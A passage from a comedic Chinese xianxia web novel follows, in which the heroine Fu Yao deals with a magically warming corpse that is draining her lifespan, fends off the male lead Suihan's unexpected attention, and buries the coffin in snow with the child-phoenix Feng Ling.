虽然她对后面的内容的确是有点好奇,但买是不可能买的,鬼知道是不是真的,修真界骗子太多了,之前那合欢蛊就是前车之鉴,再者,这东西她根本就用不着啊。
符窈很快回归了理性,拒绝冲动消费,摇了摇头,直接划了过去。
之后刷了一堆,也没有刷到什么有用的信息,反倒是把她给看得哈欠连天,她瞧了一眼外头的天色,已经入夜了。
“算了不看了,今天早点睡。”
符窈把灵犀镜塞到了枕头底下,翻身平躺,闭着眼睛手一顿摸,摸到被子牵来了给自己盖上。
她静心感受了一下,身体没有任何异常,果然,今天也是平平无奇的一天。
符窈微笑着进入了梦乡。
她梦见自己好像变成了一个烧水壶,不对,她是烧水壶里的水!
刚开始还是凉的,水平线安静的很,可后来,她却开始冒起了泡……
可恶,谁在烧她!
符窈牌水花跳脚,咕噜咕噜发起了抗议,然而抗议无效,水温还在持续升高。
“好热……”
符窈睡梦中一脚踢开了被子,可仍旧无济于事。
她感觉自己快要变成水蒸气了,之后一语成谶,水位线不断下降。
热、好热……
啊啊啊啊啊,禁止干烧!
符窈生生给热醒了,可随之而来的却是更加铺天盖地、由内而外的热浪。
她挣扎着往自己脸上淋了杯水,奈何燃烧的是她心火,区区一杯水,根本就扑不灭。
燎原的火沿着经脉蹿烧,所过之处片甲不留,空虚,无尽的空虚,全身上下,哪哪都渴望着被填满的空虚。
而能将她填满的人,就在屋外……
是了,他就在屋外……
仿佛接收到了某种指示,很快,符窈的半个身子就已经探到了床外,可……
她手撑着地面,五指用力,手背的青筋凸起,残存的意志在奋力地想要把她推回去。
不行,不可以……
手抵抗的力度渐渐消减,残存的意志出现了溃败之象。
符窈双目猩红,终是不甘咬牙:“封池你……你居然……你居然搞到真的了!”
……
与此同时,庄怜雪在岁寒的住处外守株待兔。
回忆梦中景象,她几乎可以确定符窈定是中了某种情蛊,联系符窈和封池之前的种种异常,再加上符窈又是和岁寒一道下的山,天时地利人和,和符窈一块中情蛊的人是谁,庄怜雪根本就不用做他想,必定是岁寒无疑!
只是……
庄怜雪抱剑背靠着身后围墙,抬头看了看天上的满月,眉头微皱。
梦里梦到的是今天没错,可符窈人呢?
庄怜雪有些不耐,符窈总能挑战到她的忍耐极限,上次绝情谷是,这次又是?
她就是爬,这会儿也应该爬到了吧?
庄怜雪闭了闭眼,梦中符窈那模样,可不像是能忍住的样子。
除非……
庄怜雪睁眼,静心听了听里面的动静,心中的怪异越发明显,据她所知,情蛊一般作用都是相互的,如今,符窈没来就算了,里面的岁寒好像也没有什么反应,难道说……和符窈一块中情蛊的人不是岁寒?
庄怜雪垂眸若有所思,正当她打算去符窈的住处一探究竟时,远处却出现了一道黑影,速度
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极快地在往这边靠近!
看那身法绝对不是符窈。
庄怜雪本能地嗅到了危险,她几乎是立刻往自己身上拍了一道隐匿符,而后飞身到了不远处的树上。
来人如一道黑烟般落入岁寒院中,之后显出身形……
庄怜雪瞳孔猛地一缩,握剑的手同时收紧,那是……魔族的人?
只见那人进了岁寒的屋子,两人不知说了些什么,之后竟是一道离开了。
庄怜雪双眸微眯,当机立断跟了上去!
……
翌日,秋风萧瑟。
庭中树开了两天花,支撑不住,随风而谢,花瓣纷纷扬扬落下,落红铺满了一地。
“好冷。”
符窈往旁边的热源靠了靠,尤嫌不够,又抓着什么东西往自己身上盖了一下,然后紧贴热源,手往里钻……
等等!这触感怎么好像不太对?
符窈倏地一下睁开了眼睛,醒了。
她眨了眨眼,模糊的视线逐渐清晰,最先撞入眼帘的,是男人轮廓清晰的下颌。
视线下移,她的手,此刻正没有任何阻隔地贴在了男人胸上……
符窈指尖微动,该说不说,这手感竟是该死的好,可是——
符窈:“!!!”
啊啊啊啊啊……
符窈猛地收回手,想要起来,可……两个人的棺材是真的好拥挤!
她想要避开佚名兄的话,根本就无处下手支撑。
造孽啊!
符窈一脚伸出棺外,以一种狼狈的姿势把自己给带了出去,而后一个哆嗦抱紧自己,开始怀疑起了人生。
她明明记得佚名兄顶上的土她压得实实的,她还挪了一座假山过来!
对了,假山呢?
符窈抬目四望,假山卧倒在了对面五六步开外的地方,还有这土,刨得四处都是……
符窈面无表情,这些该不会都是她干的吧?
符窈人麻了……
呜呜呜除了她还有谁!
真就所爱隔山海,山海皆可平呗……
区区一座山一层土,那都拦不住她。
符窈捂脸,余光却透过指缝瞥见了佚名兄被她扯成V字领而露出的胸膛。
她浑似触电一般别开了头,而后手脚并用挪到了棺材边上。
“罪过、罪过……对不起!”
符窈伸手整理着他的衣裳,全程都不敢看,也不知道弄整齐了没有。
不过——
符窈脑中划过一道白光,整个人忽地顿住。
她转过头去,手微颤着又往他露在外的脖颈处摸了一下。
温的……
再去摸手,也是温的……
扯开刚拉拢的衣领,手下的触觉,也是温的……
一个死人,却有体温,这合理吗?
符窈心脏咚咚跳。
难道是合欢蛊的作用?
是了,她昨天晚上都热成那样,佚名兄虽是死的,发点热也挺正常吧,可……
符窈又摸了摸自己。
可她昨晚热成那样,这会儿回归正常了啊,佚名兄一具尸体不是应该……变冷么?
想到什么,符窈目中涌上了惊恐。
11. 男人,你不对劲
“不对劲、这肯定不对劲……”
符窈在屋内来回踱步,走了好些圈,都快把自己给绕晕了,她忽地停下满怀希望地又朝棺中的男人伸出了爪子。
“一定是刚才时间还没到,再试一下,万一……”
符窈目光触及到男人脸时停顿了一下,之后一甩头,掩耳盗铃上下其手,不停地更换测温点,唔——
没有降,温度它还是没有降!
怎么会这样?
希望破碎,符窈跌坐在棺木旁,整个人失魂落魄,佚名兄不会是真的要活了吧?
诈、诈尸?
一道惊雷啪地一下炸开,瞬间把符窈给劈了个外焦里嫩。
她神思怔怔,佚名兄如果复活的话……
“怎么这么晚才回来,灵石呢?”身着玄服的男子撩起眼皮,高贵冷艳。
符窈颤颤,刚拿出钱袋,就被男子给整个夺了过去。
“就这么点?你把我复活,就是想这么包养我?”男子不悦质问。
符窈连声道歉:“对、对不起,我明天会努力的。”
“呵!”男子冷笑,紧接着一记眼刀杀了过来:“没用的东西,还在这站着做什么?还不去做饭,你想要饿死我?”
“马、马上就去!”
符窈逃也似的奔出门。
外头北风萧萧,雪花飘飘……
而符窈冻着手摘菜,呜呜呜好一个凄凄惨惨戚戚的金主!
从前,她也曾是个富二代,可自从她与男子不为世俗所容的奸情曝光后,两人就被逐出了宗门,偏偏男子又花钱如流水,想到自己那转瞬即空的钱袋子,符窈不禁留下了两行热泪,养不起根本养不起……
符窈抱紧自己,猛地搓了搓手臂,回神看向棺木中静躺着的男子,摇了摇头,不不不,佚名兄虽然看着一身贵气,但也不一定就是那种奢靡成性的人吧,人家也有可能——
思绪再度飘远……
男子感激地抓着她的手:“恩人,是你复活了我?”
符窈将手抽了出来,竖起手掌,手动拒止暂停,我知道你很激动,但你先别激动,让我先说。
符窈两手背至身后,一身正气:“我虽复活了你,但符某不才却是正经人,以身相许就不必了,如今你既已无碍,便自行离开吧。”
男子失落垂眸:“可是我已经死了好多年,家人早已不在人世,我、我没有地方可去。”
“啊这……”符窈一下子为难了起来,愁眉问他:“那这要怎么办?”
“不妨事的。”男子挤出了笑来安慰她,紧接着却突然咬牙切齿图穷匕见:“我死得好好的,你把我弄醒来,当然得你负责!”
符窈:“!!!”
颅内小剧场放映结束,符窈头抵在棺沿上,仿佛有千斤压顶,肩膀重得抬不起来。
“我的错……负责……是得负责……”
喃喃自语间,腰间挂着的灵犀镜亮了,符窈眸光顿了顿,这是个小的灵犀镜,她从储物袋里翻出来的,估摸着是原主换下不用的旧款,按理说,不会有人联系她这个灵犀镜才对,难道……是她用小号在灵网上发起的提问有人回答了?
符窈瞬间又支棱了起来,从腰间扯下灵犀镜,背靠棺壁端坐。
花臂老王福寿安康……
这个……这个是她以前点外卖用的名字,现在直接被她用作小号名了,不过……这不重要!
[花臂老王福寿安康]:求问,和死人双修之后对方身体一直发热怎么办?
[到处溜达就是不修炼]:开始聚魂了呗,发热挺正常啊。
聚魂?
符窈心中一惊,趁着人家还没走,赶紧提问。
[花臂老王福寿安康]:人死了还能自己聚魂?
[到处溜达就是不修炼]:一般情况下是不能的,但……老哥你不是跟人双修了么,那肯定是你真爱吧?
符窈忽然有种不好的预感。
[花臂老王福寿安康]:不、不是啊。
[到处溜达就是不修炼]:不是?和死人双修会被分走阳寿的,修合欢道的那群人都不敢这么搞,老哥你玩得有点大啊。
符窈愣住,分、分走阳寿?
五彩斑斓的颜色开始在符窈脸上变幻,她的手颤颤——
[花臂老王福寿安康]:会分走多少?
[到处溜达就是不修炼]:初期不多,但是对方醒来之后为了活下去,肯定会千方百计再向你借寿,老哥你得做好被缠上的准备了,拍拍肩膀,目露同情。
符窈:“哈哈哈……”
人在无语的时候是真的会笑。
所以……佚名兄发热是因为分走了她的阳寿,现在正在聚魂,醒来之后很有可能还会再找她续命?
符窈抓狂了,一个探身揪起棺中男人的衣领:“啊啊啊啊啊……还我阳寿!”
发泄过后,符窈拂了拂佚名兄的衣领,冷静了下来。
不行,她不能坐由事态继续发展。
藏书阁,她要去藏书阁!
那里面的书包罗万象,肯定能找到阻止的办法!
……
藏书阁三楼,岁寒身体半靠着围栏,看见底下符窈抱着一堆书匆匆离开,眉头微皱。
他合起手里的书,封皮上《墓葬选址五行风水概要》十个大字,赫然就是符窈前几天看的那本,这本符窈的意图他还没琢磨透,她这是又借了什么?
鬼使神差地,岁寒快速下楼,赶在借还簿上的字迹完全隐没之前,勉强看到了辟邪、傀儡等字眼,岁寒随之瞳孔又是猛地一缩。
墓葬、辟邪、傀儡……
这几个事儿放在一块,岁寒凝眉,总感觉好像有什么东西就要呼之欲出。
符窈到底想做什么?难不成……
【岁寒:“那女人因爱生恨,从前是疯子,现在是变态?”(崩坏值+5)】
符窈:“???”
她怎么好好走在路上都能被踢一脚,谁是变态?
岁寒在这附近?
符窈目露警惕,放轻了脚步开始往四周侦查。
然而,岁寒她没看见,倒是看见了庄怜雪正拾级而上朝藏书阁这边过来。
!!!
符窈脚下慌得迈起了小碎步,左边右边纠结了一会儿后,一个闪身躲到了最近的柱子后面。
看不见我、看不见我……
符窈紧贴着柱子心里碎碎念,等庄怜雪一进去,她就立马闪人,计划通√
然而,符窈千算万算却没算到庄怜雪她不进去,她不仅没进去,岁寒还从里面出来了,两人直接停在了距离符窈不到五步的藏书阁门口。
符窈:“……”
庄怜雪声音带起了欣喜:“二师兄说你去了藏书阁,我本想来碰碰运气,没想到——”
岁寒打断了她:“有事?”
似是被岁寒泼了一盆冷水,庄怜雪的声音一下子低了下来:“师兄,你还记得吗,你受了重伤,在绝情谷醒来之后……”
岁寒却又打断了她:“你到底想说什么?”
庄怜雪停顿了好一会儿,之后声音愈发低落:“我只是听说师兄你失忆了,所以想来问问你要不要……重回失忆之前的地方看看……”
!!!
庄怜雪要带岁寒去那邪门地?
符窈踮脚偷溜的步子顿住,脚掌落地,惊讶回头。
只见岁寒和庄怜雪两人相对而立,一个所有所思,一个则低垂着头情状小心翼翼。
【岁寒:“重回失忆之地?这倒是不错的提议,符窈最近对我的态度确实是有些奇怪,或者说是……矛盾?她像是厌极了我,可我失忆,她偏偏又把我给带回来了,甚至还把我给送去了医堂,这看着又不像是不管不顾的样子,所以,她到底在讨厌我什么?”(崩坏值+5)】
【庄怜雪:“虽然不知道岁寒的芯子是什么时候换的,但符窈一定是在上次和岁寒一道离开期间知道的这件事情,两人因为这个秘密的揭开而发生了争执……而这,也就解释了符窈为什么会突然厌恶岁寒。”(崩坏值-5)】
【岁寒:“说她喜欢我吧,她连给我的墓坑都挖好了,可说
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她讨厌我吧,这挖坑地方的她还好好选了一下,现在更是又对傀儡起了兴趣,难不成……她前面所表现出来的那些厌憎都是幌子,最终目的,其实是为了把我变成傀儡得到我?”(崩坏值+5)】
【庄怜雪:“岁寒一定很奇怪为什么符窈厌恶了他,却又把他给带回来了吧?很简单,因为她厌恶的不是岁寒本身,而是占据了岁寒身体的这个芯子,她说不定现在还心存着幻想,意图等着宫主回来好想办法找回从前的岁寒呢。”(崩坏值-5)】
符窈……符窈愣了一愣又一愣。
不是,庄怜雪是什么时候知道岁寒不是原装的?
岁寒你……你怎么连墓坑也要认领?
还有,你俩在这加五减五的,中门对狙呢?
男女主之间的默契竟恐怖如斯?
这就离谱!
庄怜雪似是再度鼓起了勇气,仰头道:“医堂的长老说,场景复现对恢复记忆会有帮助……师兄你如果想去的话,我可以给你带路……”
刹那间,符窈竟是神奇地跟上了庄怜雪的脑回路,庄怜雪本来就只想把岁寒当替身,岁寒内里到底是谁,她根本就不在乎,所以,岁寒若是在她的帮助或者是引导下恢复记忆,说不定两人的关系就会因此拉近,甚至,还能够一石二鸟,彻底地抹灭掉她对岁寒那所谓的“幻想”?
符窈惊叹连连,可……
岁寒若是恢复记忆,那她岂不是又完蛋了?
符窈的心一下子提到了嗓子眼,怎么办怎么办,岁寒那样子看着好像是有点意动了!
不行!
符窈警钟乍响,脑海里就只有一个想法——绝对不能让这两人凑一块对答案!
眼看着岁寒就要启唇,情急之下,符窈闭了闭眼,冲出来对着岁寒就是一声大喝——
“你敢跟她走?”
此言一出,“吱呀吱呀……”藏书阁楼上的窗户瞬间开了好几扇。
【月清宫瓜田猹:“嚯嚯嚯!这站位……两女争一男?果然,爱学习的人运气都不会太差,瞧瞧,这瓜是又让我给吃上了,符霸王重出江湖啊这是!”(崩坏值-3)】
【月清宫瓜田猹:“不过,这庄怜雪好像有点弱啊,符霸王胡搅蛮缠起来,她能是符霸王的对手么?这争抢一事,还是得势均力敌的才好看啊……算了,有瓜吃就不错了,还挑拣什么?”(崩坏值-2)】
【月清宫瓜田猹:“诶?符霸王之前不是和大师兄闹掰了吗,怎么这又……哦哦哦我懂了,欲拒还迎,欲擒故纵!不错不错,士别三日当刮目相看,符霸王如今竟也是有策略了,牛批!”(崩坏值-2)】
符窈:“……”
还牛批呢,没看见她的手在抖吗!
救命!岁寒为什么看着她不说话?
符窈后背冒冷汗,她别不是又要被看穿了吧?
啊……符窈心中哀嚎,她就这么薄如透纸的吗?
不知过了多久,岁寒忽然轻笑了一下。
【岁寒:“符窈果然是爱而不得心理扭曲了,一试就露出了马脚,根本就藏不住一点儿。”(崩坏值-5)】
符窈:“……”
“走吧,我送你。”岁寒道。
符窈:“???”
“你不是要回去么?”岁寒又问。
符窈沉默,她是要回去来着……
可谁能来告诉她一下,现在是什么情况?
符窈踩在岁寒的剑上,整个人都是懵的。
岁寒这是什么意思?他拒绝了庄怜雪,然后主动提出了要送她?
符窈回身往底下看去,庄怜雪仍旧僵立在原地,不知道在想些什么?
而趴在藏书阁窗户上的那些人,见她回望,纷纷朝她竖起了大拇指:“符大小姐完胜!”
“……”
符窈脚趾抠剑。
救命!男主不会是被她给搞到手了吧?
佚名兄的事情她还没解决,现在又来一个岁寒,这雪球眼见着是越滚越大,哪天要是雪崩,岂不是第一个埋的就是她?
不要啊……
12. 棺材板要压不住了
翌日清晨,又到了符窈每日去挥剑的时间。
美好的一天从清晨开始!
符窈伸了个懒腰,提着剑准备出门,然而她刚踏出房门一步,岁寒就给她发来了消息。
[岁寒]:你到广场了吗?今天我正好有空,教你练剑。
!!!
符窈紧急退回房间,砰的一声就把门给关上了。
可恶!她因左脚先踏出房门而受到了空袭。
姿势不对,重来!
符窈深呼吸,这次她决定先迈右脚。
重新拉开门,符窈张开双臂拥抱清晨的阳光,美好的一天又要开始……了?
[岁寒]:我现在在广场,你还没到么,我来接你?
!!!!!
竟然不是幻觉,而且……
接、接她?
符窈捧着灵犀镜瞬间不淡定了起来。
岁寒他干干干……干什么?
为什么要来接她,为什么要教她练剑,他到底有什么目的,啊啊啊啊啊他是吃错药了吗,疯了?
符窈焦躁得开始在门前来回踱步。
虽然她也想要进步,但……她喜欢自己学,有人在旁边随时指点的话,感觉压力好大啊,尤其还是这种开小灶式的单独指导,全程都盯着她一个人,那简直就是噩梦,她肯定会手脚不协调的。
呜呜呜……
美好的一天没有了。
要不……拒绝掉?
符窈暂停公转,回过神来似的,急忙又捧起了灵犀镜,没错,别慌,拒绝掉就好了……
“咚咚咚!”
说时迟,那时快,院门被人敲响了。
符窈:“!!!”
灵犀镜差点脱手摔地上。
“符窈,走了。”岁寒在门外催促道。
符窈心率飙升连连后退,低头飞快发消息。
[扶摇直上]:我今天不太舒服,不去了……
[岁寒]:不舒服?出来我带你去医堂。
“唔!”
符窈人趴在门板上,梆梆撞了两下,呜呜呜能撤回重新再找个理由吗?
答案显然是不能……
符窈再度挣扎。
[扶摇直上]:不用了,我睡一觉就好了。
[岁寒]:讳疾忌医?再不出来我进去了。
进来?
符窈转头一看屋里的佚名兄,倒抽一口凉气。
不行——
片刻后。
符窈人在医堂,心如死灰……
俗话说,当你撒了一个谎,往往就需要用更多的谎言来圆它,符窈现在就是这么个状况。
“哪不舒服啊?”医堂坐诊的长老捋着胡子问道。
符窈坐了半边椅子,双腿并拢,两手拘谨地放在膝盖上,头冒虚汗。
哪不舒服?
她没有哪不舒服,非要说哪不舒服的话,就是心跳有点快,可她这是慌的啊……
符窈表情崩了一瞬又死命憋了回去,就……很痛苦。
岁寒抱剑站在一旁。
他其实早就看出来符窈是在装病了,但……从前没发现,她心虚却还要强撑的时候表情还挺有意思。
“长老问你话呢。”岁寒饶有兴致提醒道。
一有人催,符窈就紧张加倍,救命,她说哪里不舒服才比较不容易露馅啊?
头痛?脚痛?肚子痛?
符窈手指微动,悄悄点兵点将。
而一旁的岁寒却又忽地若有所思了起来。
【岁寒:“说起来,她装病的原因是什么,还在气头上,不想让我教她练剑?啧,她这因爱生恨的台阶还挺难递,好像……没之前好哄了……”(崩坏值+5)】
符窈:“……”
因爱……生恨?递台阶?哄?
连续几个关键词,看得符窈心中顿感不妙,岁寒哄了她是想干嘛?
他不会是玩真的吧?
符窈瞬间如坐针毡,岁寒现在在她眼里已经不是个人了,他就是个烫手山芋,而这样的烫手山芋,她居然还不止一个,要命了……
符窈深呼吸,冷静,山芋烫手她得丢啊,这玩意儿可不兴砸手里。
反正这医堂来都来了,要不——
“长老,我心好痛!”符窈一鼓作气捧心道,说完脚趾抠地视线低垂,完全不敢看人。
“心脏不舒服?”长老一听这可不得了,忙抬手按在了符窈眉心,分出一缕细丝般的神识往里探查。
看完一圈,长老纳闷了:“你心脏没事啊?”
“咳——”岁寒没憋住笑,掩唇咳嗽了一声。
符窈脸颊滚烫,呜呜呜好想时光倒流,可……开弓没有回头箭,她必须得告诉岁寒——死心吧,我这样的女人你把握不住!
于是她再次深呼吸,埋头强忍着尴尬道:“可是我一看见男人就心里不舒服,想打人……”
说完,符窈悄悄支起了耳朵。
怎么样,怕了吧?还记得之前的那一巴掌吗,那就是力证!
符窈自以为这话应该很有说服力,然而——
“咳咳咳……”
岁寒笑得连咳嗽都盖不住了。
符窈:“……”
很好笑么,好笑在哪里?
她抬头看向岁寒,只见其肩膀一耸一耸,根本停不下来。
符窈绷不住了,不!这不是她想要的结果!
你笑,你还笑?
啊啊啊啊啊,知道她为了演这出鼓起了多大的勇气吗!不准笑!
医堂长老看得摇头,之前听底下弟子说,这岁寒被符丫头给拿下了,可他刚才探查的时候,又分明看见符丫头的元阴还在,唉,真是不知道现在的年轻人在玩些什么。
“走走走……”长老开始轰人,没病跑来净给他添乱!
……
符窈自闭了,晚上躺床上翻来覆去横竖睡不着。<
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白天的那一幕幕场景循环地在她脑海里播放,她已经三百六十度无死角地看过很多遍自己的蠢样了,那简直就是黑历史!
啊啊啊啊啊……
符窈对着被子使出了连环踢,最后,双目无神、生无可恋的仰躺在床上,不敢闭眼,一闭眼,那句“心好痛”就又会开始攻击她。
“呜呜呜……”符窈抓来被子咬了一角,她的心以后再也不会痛了!
咬久了牙酸,符窈松口,不行了,长夜漫漫,她不能再这样折磨自己,得找点事做。
视线逡巡一团,符窈下床,拖着一个蒲团盘腿坐到了棺木边,开始跟里面的人讲道理。
“或许……你知道什么叫做可持续发展吗?”
符窈给他解释:“可持续发展就是,一个东西呢,它要有进有出,只出不进、或者进的比出的少,那就不是可持续发展。”
“比方说我的寿命。”符窈举例:“如果我借给你呢,那它只会越来越少。”
她是五灵根,修炼速度很慢的,现在能有筑基四阶的修为,那都是靠嗑丹药嗑出来的,甚至因为前期嗑太多,现在再嗑都不怎么起效了。
这就意味着,她很有可能这辈子都是个筑基期,寿命撑死也就这百来年。
“就这么点寿命借给你,到时候我活不下去,你也没有命可续,你死我也死。”
符窈小脸严肃:“你看,这就是典型的不可持续发展,是杀鸡取卵的愚蠢行为。”
“所以——”符窈抓起他的手,“你保证,你会好好地长眠下去,而我,也保证一定会给你烧很多纸钱,还会你找重新找一个风景绝佳的墓地,条件允许的话,我还可以给你盖一座庙,你不说话我就当你同意了,我们击掌为誓,一言为定~~~”
符窈说到最后,声音忽然颤抖。
她怔怔看向男人被押着和她击掌的那只手,那手指节修长,生得十分好看,跟他比起来,她的手整整小了一大圈,可就在刚才,他的手指尖竟是突然往里面扣了一下!
符窈:“!!!”
她猛地松开他手腕,整个人受惊似的后仰了开,而后抬起捂着胸口的手,双目震颤,心脏几乎快要跳出来。
是错觉吗?
符窈屈指摩挲指腹,刚刚这只手和他击掌,指腹受力格外明显……
甚至现在——
符窈转头,他搭在棺沿上的那只手,中指又动了一下!
啊啊啊啊啊!
符窈颅内爆鸣尖叫。
“佚名兄你……”
符窈抱紧自己,两脚一蹬,坐着蒲团滋溜滑开老远。
“你你你……你冷静一下,有事好商量……”
惊魂未定间——
“嘭!”
紧闭的房门突然被人从外面拍了开。
符窈惊得弹起,一口气卡在半道,浑身汗毛直接炸成花。
顿了好一会儿,她咔嚓着僵硬转头,只见——
13. 不翼而飞
来人一手撑着门框,风带起她的裙摆和袖摆猎猎飞扬,头微微低垂着,符窈甚至还看到了她的发旋。
是的,符窈坐地上,看到了她的发旋……
眼前的这个小女孩瞧着就只有五六岁的模样,头上梳着双丫髻,穿了一身绯色的小裙子,腰上还挂着一串羽毛铃铛,整个人小小一只,可爱得……有点犯规……
符窈心率放缓,嗯……好像紧张不起来了。
符窈之前看书的时候就很喜欢这个飒飒的小闺蜜,现在看到真人……
唔!好可爱好可爱她真的好可爱!想抱到怀里rua!
符窈的心快要融化了,星星眼~
来的不是别人,是月清宫宫主的亲女儿凤翎,其真身和其母亲一样,是一只凤凰,在原书中,符窈和凤翎从小一块长大,两人关系好到能睡一张床,说是异父异母的亲姐妹也不为过。
“我涅槃失败了……”
凤翎手撑着门框叹气,之后抬起头,哇地一声张开双臂,大鹏展翅似的就要朝符窈扑来。
“刺啦——”
突然看见屋里的棺材,凤翎哇声暂停,脚下急刹!
“这里为什么停了个……”
凤翎眸光微顿,想到什么,忽然撕心裂肺:“爹——”
你死得好早啊!
符窈见状连忙摆手:“不是你爹不是你爹……”
“嗝~”
凤翎奔过去看清棺中人,一秒收泪,打了个嗝。
可恶!哭错灵了。
不过……这谁啊?
凤翎扒着棺材往里猛瞧,脑中过了一堆人脸,匹配失败,只好又转过了头去看向符窈。
凤翎:“???”
符窈抬手轻挥把门关上,这事吧……说来话长……
她拖来一个蒲团放自己边上,拍了拍让凤翎过来坐。
凤翎倒腾着两只小短腿,蹭蹭就过来了。
符窈:“先喝杯热茶。”
凤翎接过杯子乖乖捧好,咕噜咕噜干完又眨巴眼睛看向符窈,喝完了,然后呢?
符窈没忍住,抬手揉了把她的小脑袋,然后抱着膝盖惆怅道:“事情,得从我那天收到封池的消息说起……”
对着这样一个可可爱爱的“小朋友”,真的很难筑起心防啊。
符窈竹筒倒豆子,一点儿也没瞒着她,断断续续地说了好久。
凤翎听得一下义愤填膺,一下又惊讶得睁圆了眼睛,最后——
“呜呜呜我涅槃失败返老还童就算了,你怎么也要短命了哇……”凤翎哭。
符窈也哭:“呜呜呜我们俩的运气真的好惨淡啊……”
一大一小两人抱头痛哭。
半响后,凤翎从符窈怀里钻了出来,衔着泪仰头道:“小窈窈,我觉得你还能再挣扎一下。”
符窈:“???”
怎么挣扎?
凤翎从蒲团上爬起,眼泪一抹,指了指棺木:“把他带上,跟我来。”
……
是夜,月黑风高。
两人大半夜不睡觉,扛着个棺材跑去了雪山。
凤翎在高处望风,符窈则在底下库库刨雪坑。
连人带棺放进去后,符窈一边将雪回填一边忐忑问凤翎:“这样……能行么?”
凤翎两只藕臂环抱在胸前,脸上还有点婴儿肥,和符窈站一块将将齐腰,此刻却似大人一般远望做出了副高深情状:“物竞天择,适者生存,咱也不是那种赶尽杀绝的人。”
符窈若有所思。
有道理!
他不冷静,那就帮他冷静,这要是还能醒来,那就……
那就之后再说!
符窈很快get到了中心思想。
不过,旁边的凤翎却是高深了不到三秒就搓起手臂蜷了身子:“嘶——”
该说不说,这地方还真是有点冷,灵力护体都有点扛不住。
她连忙转身帮着符窈一块填埋,两人四手齐上速战速决。
赶在天亮前,两人手牵手飞溜离开了这地方。
这出临时起意的秘密行动,往返得那是相当顺利。
成功潜回月清宫,凤翎一改方才的鬼鬼祟祟,手往腰上一插,下巴微抬,冲着符窈得意邀功道:“怎么样,还是姐们儿靠谱吧,那姓封的根本就不行,以后别跟他玩。”
“嗯嗯。”符窈点头,深以为然。
“呵!”
头顶树上忽地传来轻蔑一笑,紧接着就跳下了一个人,拦了符窈和凤翎的去路。
封池抱剑挑眉:“我当是谁大早上的天还没亮就在这说我坏话。”
!!!
背后蛐蛐被当事人听到了……
符窈脚趾抠地。
凤翎拉了拉符窈的手腕,音色稚嫩却沉静:“退至我身后。”
符窈依言退了,然后一抬头,猝不及防和封池来了个四目相对。
凤翎呢?
两人齐齐低头,凤翎在下面……
封池锁定敌手,垂眸质问:“你说谁不行?”
符窈和岁寒能有现在这进展,全凭他奠基,居功至伟好么!
“切!”凤翎嗤笑,成事不足败事有余的东西,还敢到她面前来叫唤?
凤翎:“说的就是你,怎么了?”
嚯!口气不小。
封池眯了眯眼:“说得好像你有多行似的,瞧你这小屁孩样儿,是涅槃失败了吧?”
凤翎被戳到了痛脚,梗着脖子争辩:“你知道凤凰涅槃有多难吗?那火换做你去,被烧死都不剩渣的!”
“嘁——”封池轻嗤,他没事去淬火做什么,有病?
“所以你就是失败了呗,我看看,你现在这样子是几岁来着?五岁半?”封池上下打量。
凤翎气得咬牙,继续红着脖子争辩:“你懂什么?涅槃是要讲究天时地利的,我只是这次运气不太好而已。”
那可是她们凤凰一族迈向永生的神圣成人礼,能够一次就涅槃成功的凤凰,几千年都没有出现过一个了好么!
“失败就是失败,不要找借口。”
他早就听说凤凰一族涅槃失败之后,会用秘法返童以瞒过天道重获涅槃的机会,只是听说归听说,他这还是头一次真的见到。
封池欠欠提问:“你这次返童的最终形态是啥呀,蛋?”
连续被戳痛脚,凤翎绷不住了:“你才是蛋!你全家都是蛋!”
“啧啧,说两句实话你还恼羞成怒了。”
“瞪我做什么?你还想跳起来打我膝盖?”
“呀!!!”
忍无可忍,无需再忍,凤翎一声大喝,怒了。
刹那间,风起云涌。
凤翎祭出双月弯刀,封池也随之拔剑出鞘。
卧龙凤雏剑拔弩张!
符窈这会儿也顾不得嘴笨了,连忙上前劝架:“封池你快跟凤翎道歉。”
“闪开!!!”
两人却是异口同声。
凤翎:我今天要跟他决一死战!
封池:男人,绝不能承认自己不行!
两人一高一矮,一个俯视,一个仰视,气势却旗鼓相当,目光相接时,更是噼里啪啦似有闪电喷射,随后两人同时腾空而起,战争一触即发,刀光剑影击碎了黎明前的黑暗,刀意剑气刮起来的旋风更是所过之处片叶不留,人在底下被刮到,修为低的都得被弹飞。
此一战,竟是持续了好几天。
符窈搬了个小板凳,每天就在底下叹为观止,金丹期的实力就这么强悍了,善渊仙尊那种修为到顶的,出起手来那得多吓人啊……
鏖战进行到第七天,眼看着月清宫就要没地方下脚,宗门的长老出手一人赏了一顿爆炒栗子,强制将人押下来判了个平手,并勒令他们两个把地上掉的树叶全都扫干净,不准用灵力!
打架一时爽,扫地悔断肠。
封池倒是还好,凤翎可就惨了,抱着
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个比她人还高的大扫帚,苦哈哈。
符窈把那大扫帚给接了过来,重新递给了她一个小的,陪着她一块扫。
凤翎感动得稀里哗啦,一把抱住符窈大腿:“呜呜呜小窈窈,还是你对我好。”
至于封池,凤翎一记眼刀杀了过去,你给我等着!
封池耸了耸肩,等着就等着,谁怕谁?
封池提着扫帚去了另外一边,两人划疆而治。
符窈陪着凤翎从峰顶上往下扫,扫了没一会儿,两人就摸起了鱼,排排坐在石阶上不动了。
“小窈窈,我跟你说哦,我是因为变小了才没打赢他的。”凤翎一手撑在符窈腿上,凑了过来挽尊。
符窈噗嗤一声,不知怎的,被“五岁半”大的凤翎叫小窈窈,她莫名地就很想笑。
“笑什么?”凤翎小拳拳锤了她一下,“等我重新从蛋里孵出来,还会长大的!”
“嗯。”符窈点头,不吝夸赞:“你超厉害。”
“那是当然!”凤翎满意了,扭了扭坐回去,挨着符窈,和她同款托着下巴看风景。
看着看着,符窈忽然支起脖子,目光定在了远处的青山上,心跳乱了节奏:“大翎翎,你有没有觉得哪里好像不太对劲?”
“不对劲?”凤翎站起,顺着符窈的视线往远处望,紧接着,目光也跟着一顿,“那座山……”
“嗬——”
凤翎倒抽一口凉气。
一大一小两个人儿,转过头面面相觑。
符窈:“你也认出来了?是不是就是我们那天……”
凤翎猛点头:“嗯嗯!”
符窈面色惊恐:“那山上的雪呢?”
“对啊,那山上的雪呢?”凤翎同款惊恐跟着复读。
而后两人齐唰唰地又往那已经没了一片雪的青山看了去,双目呆滞。
忽地,凤翎一拍脑门:“啊!我想起来了,那边是春秋派的地盘啊!”
春秋派?符窈不明所以,春秋派怎么了?
凤翎急得原地踮起了小碎步提醒她:“春秋派他们是体修啊,他们体修要锻体,地界里头只有冬夏没有春秋的,现在他们应该是……换季了……”
换季了?换季了!
符窈瞳孔猛张,不愿相信地看向凤翎,换成了——
凤翎缓缓点头,嗯,你没猜错,换成了夏天!
短暂的静止过后——
“啊啊啊啊啊……”
